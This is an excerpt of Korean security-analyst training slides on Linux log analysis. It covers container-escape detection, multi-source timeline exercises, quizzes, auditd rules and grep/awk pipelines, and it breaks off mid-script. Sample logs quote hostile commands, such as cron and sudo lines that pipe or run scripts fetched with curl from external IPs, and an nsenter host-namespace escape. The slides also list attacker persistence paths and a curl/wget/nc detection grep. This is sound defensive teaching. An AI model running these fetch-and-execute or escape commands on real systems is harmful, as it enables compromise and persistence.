    auditd execve 감사가 더 신뢰할 수 있는 실행 기록
    history가 비어있다 = 삭제됐을 가능성 → auditd 로그로 보완
    Linux 네임스페이스와 컨테이너 탈출 탐지
    컨테이너 탈출은 네임스페이스 경계를 넘는 것이다 — 호스트 audit 로그에 흔적이 남는다
    주의
    🐳 컨테이너 탈출 방법
    --privileged 플래그
    모든 capability 보유 → 호스트 마운트 가능
    docker.sock 마운트
    /var/run/docker.sock 접근 → 호스트 제어
    CVE 취약점 (runc, containerd)
    컨테이너 런타임 취약점 악용
    🔍 호스트 로그에서 탐지
    # 컨테이너에서 호스트 네임스페이스 진입 시도
    audit: execve: nsenter --target 1 --mount --uts --ipc --net --pid
    # 컨테이너에서 호스트 /proc 접근
    audit: open path=/proc/1/root
    # docker.sock 이용
    audit: open path=/var/run/docker.sock uid=0
    nsenter, unshare 실행 → 네임스페이스 조작 시도 → 즉시 조사
    보강 설명Linux 네임스페이스와 컨테이너 탈출 탐지 슬라이드는 컨테이너 탈출은 네임스페이스 경계를 넘는 것이다 — 호스트 audit 로그에 흔적이 남는다 호스트·컨테이너·중앙 수집 로그를 함께 묶어야 누락이 줄어든다.
    컨테이너호스트수집
    핵심 포인트
    • 컨테이너 로그와 호스트 로그는 보이는 위치가 다르다
    • ephemeral 특성 때문에 중앙 수집이 없으면 흔적이 빠르게 사라진다
    • docker exec·kubectl exec 같은 운영 행위도 감사 대상이다
    추가 확인
    • stdout/stderr·host syslog·kube audit를 함께 보기
    • 컨테이너 내부 root와 호스트 권한의 차이를 구분하기
    • 이미지 변경·재배포·자동 재시작이 흔적을 덮지 않았는지 확인
    실무 적용
    • 워크로드 이름과 노드 이름을 같이 기록해 추적성 확보
    • 컨테이너 탈출 의심 시 호스트 레벨 로그로 바로 확장
    • 클라우드 메타데이터와 연계해 자산 맥락을 보강
    실습: 여러 소스 로그 상관 분석
    auth.log + auditd + nginx + syslog를 결합해 하나의 타임라인을 만드는 연습
    실습
    📊 여러 소스에서 수집된 이벤트 (web-prod-01, 2024-01-12)
    # auth.log
    02:05:33 [auth] Failed password for admin from 203.0.113.77 (×23회)
    02:08:11 [auth] Accepted password for admin from 203.0.113.77
    # nginx access.log
    02:09:02 [nginx] 203.0.113.77 "GET /admin/config.php HTTP/1.1" 200
    02:11:45 [nginx] 203.0.113.77 "POST /admin/upload.php" 200
    # auditd
    02:12:01 [audit] execve uid=33(www-data) a0="sh" a1="-c" a2="id"
    02:13:20 [audit] execve uid=0 a0="useradd" a1="-m" a2="sysbackup"
    # syslog
    02:13:25 [syslog] CRON: (root) CMD (curl http://203.0.113.77/c.sh | bash)
    📋 결합 타임라인 작성 (직접 해보기)
    02:05
    ?
    02:08
    ?
    02:11
    ?
    02:12
    ?
    02:13
    ?
    판단: Incident / 완전한 침해 체인 확인
    종합 점검 퀴즈 1: 로그 읽기와 판단
    오늘 배운 내용을 확인하는 퀴즈 — 정답보다 근거가 중요하다
    퀴즈
    Q1.
    아래 로그에서 가장 수상한 부분은?
    Jan 12 10:15:44 sshd: Accepted publickey for svc_deploy from 10.0.0.100 port 22
    Jan 12 10:16:01 sudo: svc_deploy ; USER=root ; COMMAND=/usr/bin/curl http://upd.extern.net/pkg -o /tmp/pkg && chmod +x /tmp/pkg && /tmp/pkg
    Q2.
    SSH 로그인 실패가 200번인데 성공이 없다면 이 이벤트의 최종 판단은?
    Q3.
    auditd에서 type=AVC avc: denied가 대량으로 나타난다면 어떤 의미일 수 있는가?
    Q4.
    pam_unix(sshd:session): session opened 다음에 session closed가 30초 후 나타났다. 무엇을 의심할 수 있는가?
    보강 설명종합 점검 퀴즈 1: 로그 읽기와 판단 슬라이드는 오늘 배운 내용을 확인하는 퀴즈 — 정답보다 근거가 중요하다 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    퀴즈 정답 해설
    정답보다 사고 과정을 함께 확인해보자
    정답
    A1.
    svc_deploy(서비스 계정)가 sudo로 외부 URL에서 파일 다운로드 후 즉시 실행. 서비스 계정이 sudo로 외부 스크립트 실행 = 매우 수상. upd.extern.net이 승인된 배포 서버인지 확인 필요. Incident 가능성 높음
    A2.
    성공 없이 실패만 200번 = 브루트포스 시도(자격증명 실패). 직접적 침해는 아니지만 공격 시도 확인됨. IP 차단 + 모니터링 강화. 내부 IP면 설정 오류 가능성 우선 확인.
    A3.
    SELinux 정책 위반 대량 발생. 두 가지 가능성: ①공격 시도(정책이 막고 있는 것) ②잘못 설정된 정상 앱(오탐 많으면 permissive 확인). AVC 내용과 프로세스를 분석해 구분.
    A4.
    30초 초단기 세션 → 명령 몇 개 실행 후 즉시 종료 = 자동화 도구 사용 의심. 어떤 명령을 실행했는지 auditd 동일 시간대 execve 확인 필수.
    보강 설명퀴즈 정답 해설 슬라이드는 정답보다 사고 과정을 함께 확인해보자 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    공격자 관점에서 보는 Linux: 왜 이 경로를 선택하는가
    방어자가 공격자의 시각을 이해하면 더 효과적으로 탐지할 수 있다
    분석
    🎯 공격자가 선호하는 것
    /tmp, /dev/shm: 쓰기 가능, noexec 미설정 시 실행 가능, 재부팅 시 삭제
    cron/systemd: 재부팅 후에도 살아남는 지속성
    authorized_keys: 비밀번호 없이도 백도어, 삭제해도 복구 안 됨
    bash history 삭제: 흔적 최소화, 가장 먼저 하는 일
    🛡️ 방어자의 대응 전략
    /tmp noexec 마운트 → 실행 경로 차단
    auditd로 /tmp 실행 탐지
    FIM으로 authorized_keys 변경 즉시 알림
    원격 로그 서버 → history 삭제해도 auditd는 남음
    cron/systemd 신규 항목 auditd 감시
    보강 설명공격자 관점에서 보는 Linux: 왜 이 경로를 선택하는가 슬라이드는 방어자가 공격자의 시각을 이해하면 더 효과적으로 탐지할 수 있다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    신입 분석가가 자주 하는 실수 10가지
    실수를 미리 알면 피할 수 있다 — 이 목록을 체크리스트처럼 사용하라
    분석
    ❌ 피해야 할 실수 (1~5)
    ①오늘 로그만 보고 "없다"고 결론
    → 압축 로그(*.gz)도 반드시 확인
    ②실패 횟수만 보고 공격이라 판단
    → 맥락(내부/외부, 서비스 계정) 먼저
    ③auth.log만 보고 완전한 그림이라 착각
    → auditd, cron, network도 함께
    ④"모르겠다"를 "없다"로 결론
    → "추가 확인 필요"로 명시
    ⑤내부 IP = 안전하다는 착각
    → 내부 IP도 침해된 서버일 수 있음
    ❌ 피해야 할 실수 (6~10)
    ⑥시간대/타임존 확인 없이 분석
    → 서버 시간 기준 명시
    ⑦패턴이 맞으면 무조건 악성
    → 정상 예외(배포 서버, Bastion) 먼저 제외
    ⑧단일 이벤트로 Incident 판단
    → 맥락과 후속 행위 확인 후 판단
    ⑨근거 없는 결론을 보고서에 쓰기
    → Fact/Why/Check/Action 구조로
    ⑩로그 없음 = 침해 없음으로 결론
    → 로그 삭제·우회·수집 공백 가능성 검토
    보강 설명신입 분석가가 자주 하는 실수 10가지 슬라이드는 실수를 미리 알면 피할 수 있다 — 이 목록을 체크리스트처럼 사용하라 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    탐지 룰 품질 평가: 오탐률과 미탐률
    좋은 탐지 룰은 공격을 잡으면서도 정상 이벤트를 알람하지 않는 균형이 중요하다
    개념
    📊 탐지 결과 매트릭스
    실제 공격 실제 정상
    Alert 발생 ✅ True Positive ❌ False Positive (오탐)
    Alert 없음 ⚠️ False Negative (미탐) ✅ True Negative
    ⚖️ 룰 설계 원칙
    오탐(FP)이 많으면:
    분석가 피로 → Alert 무시 → 진짜 공격 놓침
    미탐(FN)이 많으면:
    공격을 탐지 못함 → 침해 지속
    균형 전략:
    초기엔 넓게(오탐 감수) → 화이트리스트 추가 → 정밀화
    보강 설명탐지 룰 품질 평가: 오탐률과 미탐률 슬라이드는 좋은 탐지 룰은 공격을 잡으면서도 정상 이벤트를 알람하지 않는 균형이 중요하다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    로그 보존 정책과 컴플라이언스
    얼마나 오래 로그를 보존해야 하는지는 법적 요구사항과 분석 필요성 모두를 고려해야 한다
    개념
    📋 보존 기준별 요구사항
    PCI DSS
    1년 이상 (3개월은 즉시 접근)
    HIPAA
    6년 이상
    GDPR
    처리 목적 달성까지 + 최소화 원칙
    개인정보보호법(한국)
    접근 로그 3개월~1년 (서비스별)
    권장 (보안)
    고위험 이벤트 2년, 일반 로그 90일
    🔧 logrotate 설정
    # /etc/logrotate.d/syslog
    /var/log/auth.log {
    rotate 365 ← 365일 보존
    daily ← 매일 로테이션
    compress ← 압축 저장
    delaycompress
    missingok
    notifempty
    postrotate
    reload rsyslog
    endscript
    }
    보강 설명로그 보존 정책과 컴플라이언스 슬라이드는 얼마나 오래 로그를 보존해야 하는지는 법적 요구사항과 분석 필요성 모두를 고려해야 한다 정책 변화가 실제 로그와 운영 흐름에 어떤 차이를 만드는지도 같이 봐야 한다.
    정책최소 권한운영 예외
    핵심 포인트
    • 보안 설정은 차단 그 자체보다 운영 기준을 만드는 일이다
    • 최소 권한과 기본 거부 원칙이 로그 해석도 더 명확하게 만든다
    • 정책 적용 전후에 어떤 로그가 달라지는지 같이 확인하기
    추가 확인
    • 허용 예외 계정·서비스가 과도하지 않은지 검토
    • SELinux/AppArmor는 enforcing·permissive 상태를 구분해 보기
    • 정책 변경 후 정상 서비스 오류와 보안 신호를 구분하기
    실무 적용
    • 정책은 한 번에 끝내지 않고 로그를 보며 단계적으로 튜닝
    • 우회 가능한 운영 예외를 줄여 탐지 신뢰도를 높이기
    • 보안 강화 항목은 감사 체크리스트로 반복 점검
    클라우드 보안 그룹과 Linux 로그의 결합 분석
    클라우드 방화벽(보안 그룹)이 막은 연결은 Linux 로그에 나타나지 않는다 — 두 계층을 함께 봐야 한다
    분석
    🔍 계층별 탐지 범위
    AWS Security Group / 방화벽 레벨
    차단된 연결 시도 → VPC Flow Logs
    Linux 내부에는 도달 안 함
    OS 방화벽 (iptables/nftables) 레벨
    차단 → iptables DROP log
    Linux에 도달했지만 차단됨
    Linux 로그 (auth.log/auditd) 레벨
    실제로 서비스에 연결된 이벤트
    "Connection from" 등 기록
    ⚠️ 공백 구간 주의
    보안 그룹이 22번 포트를 0.0.0.0/0으로 열어뒀다면 → 전세계에서 접근 시도 → Linux auth.log에 엄청난 양의 실패 로그
    보안 그룹을 특정 IP/CIDR로 제한 → Linux 로그에 노이즈 감소 → 의심 이벤트 더 명확하게 보임
    VPC Flow Logs + Linux 로그 결합 = 완전한 네트워크-시스템 가시성
    보강 설명클라우드 보안 그룹과 Linux 로그의 결합 분석 슬라이드는 클라우드 방화벽(보안 그룹)이 막은 연결은 Linux 로그에 나타나지 않는다 — 두 계층을 함께 봐야 한다 호스트·컨테이너·중앙 수집 로그를 함께 묶어야 누락이 줄어든다.
    컨테이너호스트수집
    핵심 포인트
    • 컨테이너 로그와 호스트 로그는 보이는 위치가 다르다
    • ephemeral 특성 때문에 중앙 수집이 없으면 흔적이 빠르게 사라진다
    • docker exec·kubectl exec 같은 운영 행위도 감사 대상이다
    추가 확인
    • stdout/stderr·host syslog·kube audit를 함께 보기
    • 컨테이너 내부 root와 호스트 권한의 차이를 구분하기
    • 이미지 변경·재배포·자동 재시작이 흔적을 덮지 않았는지 확인
    실무 적용
    • 워크로드 이름과 노드 이름을 같이 기록해 추적성 확보
    • 컨테이너 탈출 의심 시 호스트 레벨 로그로 바로 확장
    • 클라우드 메타데이터와 연계해 자산 맥락을 보강
    Module 2 전체 복습: 12시간 핵심 요약
    리눅스 로그 분석의 큰 그림 — 오늘 배운 모든 것을 한 장에
    종합
    📁 로그 소스
    auth.log / secure
    auditd (audit.log)
    syslog / messages
    journald
    cron, nginx, wtmp
    🔍 핵심 분석 기술
    grep/awk/sed 조합
    ausearch/aureport
    타임라인 구성
    다중 소스 상관
    SIEM 쿼리
    🚨 주요 탐지 패턴
    브루트포스/스프레이
    curl→/tmp→chmod+x
    cron 외부 URL
    authorized_keys 변경
    useradd+sudo+service
    Module 2 완료
    "로그를 읽는 사람이 아니라,
    로그에서 의미를 찾는 분석가가 되어라."
    보강 설명Module 2 전체 복습: 12시간 핵심 요약 슬라이드는 리눅스 로그 분석의 큰 그림 — 오늘 배운 모든 것을 한 장에 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    FactWhyAction
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    PART 17
    auditd 심화 & grep/awk 실전 분석
    auditd 규칙 설계 · ausearch · aureport · grep 파이프라인 · awk 필드 추출
    ⏱ 80분 | 고급 실습
    보강 설명auditd 심화 & grep/awk 실전 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    auditd 아키텍처: 커널에서 파일까지
    auditd는 커널의 감사 서브시스템에 직접 연결되어 우회가 어렵다 — 구조를 이해해야 규칙을 올바르게 설계할 수 있다
    개념
    🏗️ 구성 요소
    Linux Kernel
    audit subsystem (kauditd)
    syscall 호출 시 이벤트 생성
    netlink socket
    커널 ↔ userspace 통신
    이벤트 전달 채널
    auditd daemon
    이벤트 수신 · 기록
    /var/log/audit/audit.log
    dispatcher
    audispd → plugins
    syslog, SIEM으로 포워딩
    auditctl
    규칙 관리 CLI
    런타임 규칙 추가/삭제
    📋 주요 설정 파일
    /etc/audit/auditd.conf
    데몬 동작 설정 (로그 크기, 로테이션, 버퍼 크기)
    /etc/audit/rules.d/*.rules
    영구 규칙 파일 (부팅 시 로드)
    /etc/audit/audit.rules
    컴파일된 규칙 (augenrules가 생성)
    /var/log/audit/audit.log
    기본 로그 위치 (바이너리 아님, 텍스트)
    auditd는 root도 일반적으로 삭제/변조하기 어렵다 — ImmutableMode=2 설정 시 부팅 없이는 규칙 변경 불가
    auditd 규칙 문법 완전 정복
    -a, -w, -F, -k 각 옵션의 의미와 조합 — 잘못 설계된 규칙은 로그 홍수나 공백을 만든다
    명령어
    # 파일 감시 규칙 (-w)
    -w /etc/passwd -p wa -k passwd_changes
    # -p: r(읽기) w(쓰기) x(실행) a(속성변경)
    # 시스템콜 감시 규칙 (-a)
    -a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=4294967295 -k exec_commands
    # 특정 사용자 sudo 감시
    -a always,exit -F path=/usr/bin/sudo -F perm=x -F auid>=1000 -k sudo_exec
    # /tmp 실행 파일 탐지
    -a always,exit -F dir=/tmp -F perm=x -k tmp_exec
    -a 액션
    always,exit — 항상 기록
    never,exit — 항상 무시
    always,entry — 진입 시
    -F 필터
    uid=0 root만
    auid>=1000 일반 사용자
    success=1 성공한 것만
    -k 키워드
    ausearch/SIEM에서
    사용하는 검색 태그
    의미있는 이름 필수
    ausearch: auditd 로그 검색의 핵심 도구
    grep보다 훨씬 강력한 구조화 검색 — 키워드, 사용자, 시간 범위, 시스템콜로 필터링
    명령어
    🔍 자주 쓰는 ausearch 패턴
    # 키워드로 검색
    ausearch -k tmp_exec
    # 특정 사용자 행위 검색
    ausearch -ua alice --raw
    # 시간 범위 지정
    ausearch -ts 02/14/2024 02:00:00 -te 02/14/2024 03:00:00
    # execve 이벤트만
    ausearch -sc execve -i
    # 특정 파일 접근
    ausearch -f /etc/shadow -i
    # 성공한 execve만 (ausearch | grep)
    ausearch -sc execve -i | grep 'success=yes'
    📊 출력 해석 포인트
    # ausearch -k exec_commands -i 출력 예시
    time->Mon Feb 14 02:09:03 2024
    type=SYSCALL msg=audit(1707874143.123:411):
    arch=x86_64 syscall=execve success=yes
    pid=12345 ppid=12340
    uid=0 auid=1001
    comm="curl" exe="/usr/bin/curl"
    type=EXECVE msg=audit(...):
    argc=5 a0="curl" a1="-fsSL"
    a2="http://203.0.113.10/a.sh"
    a3="-o" a4="/tmp/a.sh"
    auid = 로그인한 원래 사용자 (su/sudo 이후에도 유지)
    uid = 현재 실행 권한 (0=root)
    aureport: 통계 보고서로 이상 징후 파악
    전체 로그를 집계하여 '무엇이 얼마나 일어났는가'를 빠르게 파악 — 이상 급증 탐지에 효과적
    분석
    📈 주요 aureport 옵션
    # 전체 요약 통계
    aureport --summary
    # 인증 이벤트 보고서
    aureport --auth
    # 실패한 이벤트만
    aureport --failed
    # 실행 파일 통계
    aureport --executable --summary
    # 로그인 이벤트
    aureport --login -ts today
    # 특정 키워드 보고서
    aureport -k --summary
    📋 aureport --auth 출력 예시
    # Authentication Report
    # date time acct host term exe success event
    02/14 02:06 admin 198.51.100.23 ssh2 /usr/sbin/sshd yes 4921
    02/14 01:50 root 198.51.100.23 ssh2 /usr/sbin/sshd no 4880
    02/14 01:50 webmaster 198.51.100.23 ssh2 sshd no 4881
    ... × 177 실패 ...
    🚨 이상 징후 시그널
    • 특정 계정의 실패 횟수 급증 (정상 1~2 vs 이상 50+)
    • 평소 없던 계정에 성공 로그인
    • 야간/주말 시간대의 인증 이벤트
    • 평소와 다른 호스트/터미널
    grep 파이프라인: 로그 분석의 기본 무기
    단순 검색에서 복합 조건 필터링까지 — 알고리즘보다 파이프라인 설계 능력이 핵심이다
    명령어
    💡 필수 grep 패턴
    # SSH 성공 로그인만 추출
    grep "Accepted" /var/log/auth.log
    # 특정 IP에서의 모든 이벤트
    grep "198.51.100.23" /var/log/auth.log
    # 여러 조건 AND (파이프 연결)
    grep "Accepted" auth.log | grep "198.51.100."
    # 여러 조건 OR (-E 확장정규식)
    grep -E "curl|wget|nc|ncat" /var/log/audit.log
    # 특정 패턴 제외 (-v)
    grep "Failed password" auth.log | grep -v "invalid user"
    # 문맥 포함 (-B/-A)
    grep -A 3 "sudo.*root" auth.log
    # 케이스 무시 (-i), 라인 번호 (-n)
    grep -in "backdoor" /var/log/syslog
    🔗 실전 파이프라인 예시
    # 공격 IP 빈도 집계
    grep "Failed password" auth.log \
    | grep -oP 'from \K[\d.]+' \
    | sort | uniq -c | sort -rn | head -10
    # 야간(22-06시) 로그인만
    grep "Accepted" auth.log \
    | grep -E " (22|23|0[0-5]):"
    # sudo 후 외부 접속 조합 탐지
    grep -h "sudo\|curl\|wget" auth.log syslog \
    | grep -v "^#" | sort -k1,2
    -oP + PCRE lookahead는 IP, 사용자명 등 특정 필드만 추출할 때 강력 — 외워두면 현장에서 매우 유용
    awk로 로그 필드 추출 & 집계
    구조화된 로그에서 특정 컬럼을 정확히 추출하고 집계 — grep보다 정교한 분석에 필수
    명령어
    🔧 awk 기본 문법
    # auth.log에서 사용자명($9) 추출
    awk '/Accepted/{print $9}' auth.log
    # 실패 로그 IP($11) 빈도 집계
    awk '/Failed password/{ips[$11]++} END{for(i in ips) print ips[i], i}' auth.log \
    | sort -rn | head -10
    # 특정 조건 + 여러 필드 출력
    awk '/Accepted/{print $1, $2, $3, $9, $11}' auth.log
    # 구분자 변경 (-F)
    awk -F':' '{print $1}' /etc/passwd
    # 두 조건 AND
    awk '/Accepted/ && /203\.0\.113\./' auth.log
    📊 실전 분석 예시
    # auth.log 필드 위치 확인
    Feb 14 02:06 host sshd: Accepted password for admin
    $1 $2 $3 $4 $5 $6 $7 $8 $9
    ...from 198.51.100.23 port 22222 ssh2
    $11
    # 사용자별 로그인 시간대 집계
    awk '/Accepted/{
    split($3,t,":"); hour=t[1];
    user_hour[$9][hour]++
    } END{ for(u in user_hour) for(h in user_hour[u])
    print u, h, user_hour[u][h] }' auth.log
    awk의 연관 배열은 로그 집계에 매우 강력 — IP별·사용자별·시간대별 패턴을 빠르게 뽑아낼 수 있다
    sed · sort · uniq · cut: 로그 분석 4종 세트
    각각은 단순하지만 파이프로 조합하면 SIEM에 버금가는 분석이 가능하다
    명령어
    🛠️ 각 명령어 역할
    sed — 스트림 편집기
    sed 's/Failed password/[FAIL]/g' — 텍스트 치환
    sed -n '100,200p' — 라인 범위 출력
    sort — 정렬
    sort -k3 -t: -n — 3번째 필드 숫자 정렬
    sort -rn — 역순 숫자 정렬
    uniq -c — 중복 제거 + 카운트
    sort | uniq -c | sort -rn — 빈도 분석 황금 조합
    cut — 컬럼 추출
    cut -d' ' -f1-3 — 공백 구분 1~3번째 필드
    cut -d: -f1,7 — 콜론 구분 1,7번째
    🔗 조합 실전 예시
    # 상위 10 공격 소스 IP
    grep "Failed password" auth.log \
    | awk '{print $11}' \
    | sort | uniq -c | sort -rn | head
    # 시간별 로그인 시도 히스토그램
    awk '{print $3}' auth.log \
    | cut -d: -f1 \
    | sort | uniq -c
    # /tmp 실행 파일 목록
    ausearch -k tmp_exec -i \
    | awk '/exe=/{print $NF}' \
    | sed 's/exe=//' | sort -u
    💡 원칙
    하나의 긴 복잡한 명령보다, 파이프로 연결된 짧은 명령들이 디버깅하기 쉽고 이해하기 쉽다
    간단한 로그 분석 쉘 스크립트 작성
    반복 작업을 자동화하는 쉘 스크립트 — 매일 실행하면 이상 징후를 빠르게 발견할 수 있다
    실습
    #!/bin/bash # daily_ssh_check.sh
    LOG=/var/log/auth.log
    DATE=$(date '+%b %d')
    echo "=== SSH Daily Report: $DATE ==="
    # 오늘 실패 횟수
    FAILS=$(grep "$DATE" $LOG | grep -c "Failed password")
    echo "❌ 실패 횟수: $FAILS"
    # 상위 공격 IP
    echo "--- TOP 5 공격 소스 IP ---"
    grep "$DATE" $LOG | grep "Failed password" \
    | awk '{print $11}' | sort | uniq -c | sort -rn | head -5
    # 성공 로그인 (주의 필요)
    echo "--- ✅ 성공 로그인 ---"
    grep "$DATE" $LOG | grep "Accepted" \
    | awk '{print $3, $9, "from", $11}'
    # 임계값 경보
    if [ $FAILS -gt 100 ]; then
    echo "🚨 경보: 실패 $FAILS회 — 브루트포스 의심"
    fi
    이 스크립트를 cron에 등록하면 매일 아침 이메일로 보고 받을 수 있다 — SIEM이 없을 때의 기본 모니터링 기반
    journalctl 실전: systemd 환경 로그 탐색
    현대 Linux의 기본 로그 시스템 — 바이너리 로그지만 강력한 필터링 지원
    명령어
    🔍 자주 쓰는 journalctl 패턴
    # 특정 서비스 로그
    journalctl -u sshd --no-pager
    # 특정 시간대 로그
    journalctl --since "2024-02-14 02:00" --until "2024-02-14 03:00"
    # 우선순위별 (3=err, 4=warn, 6=info)
    journalctl -p err -u sshd
    # 특정 PID/UID
    journalctl _UID=1001
    # JSON 출력 (SIEM 파이프라인에 유용)
    journalctl -o json -u sshd | jq '.MESSAGE'
    # 부팅 이후 로그만
    journalctl -b 0 -u sshd
    ⚡ 보안 분석 활용 팁
    서비스 재시작 탐지:
    journalctl -u nginx | grep "Started\|Stopped\|Failed"
    신규 서비스 등록:
    journalctl | grep "Created symlink.*multi-user"
    커널 메시지 (OOM, 패닉):
    journalctl -k | grep -i "oom\|panic"
    로그 무결성 확인:
    journalctl --verify
    wtmp · btmp · lastlog: 로그인 이력 데이터베이스
    auth.log가 삭제되어도 바이너리 로그 파일은 남아있을 수 있다 — 포렌식의 보조 증거
    분석
    /var/log/wtmp
    모든 로그인/로그아웃 기록
    last -F
    last -F -n 20
    last alice
    last reboot
    /var/log/btmp
    실패한 로그인 기록
    lastb
    lastb -n 50
    lastb -F | head
    /var/log/lastlog
    계정별 최근 로그인
    lastlog
    lastlog -u alice
    lastlog -b 30
    🔍 포렌식 분석 포인트
    • last연속된 짧은 세션 → 자동화 의심
    • 로그인 후 세션 시간이 0초 → 스크립트 실행
    • wtmp mtime이 auth.log보다 최근 → 로그 변조 의심
    • lastlogNever logged in인데 SSH 흔적 → 계정 생성 후 삭제
    ⚠️ 한계: btmp와 wtmp도 root가 삭제/조작할 수 있다. auditd FIM으로 이 파일들 자체를 모니터링하는 것이 좋은 방어 전략이다.
    보강 설명wtmp · btmp · lastlog: 로그인 이력 데이터베이스 슬라이드는 auth.log가 삭제되어도 바이너리 로그 파일은 남아있을 수 있다 — 포렌식의 보조 증거 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    계정출발지 IP후속 행위
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    실습: 로그에서 IOC(침해 지표) 자동 추출
    grep + awk + sort 파이프라인으로 IP, 도메인, 파일 경로 등 IOC를 자동 수집
    실습
    #!/bin/bash # extract_ioc.sh <logfile>
    LOG=$1
    echo "=== IOC 추출 보고서 ==="
    # 외부 IP 추출 (RFC1918 제외)
    echo "[외부 IP]"
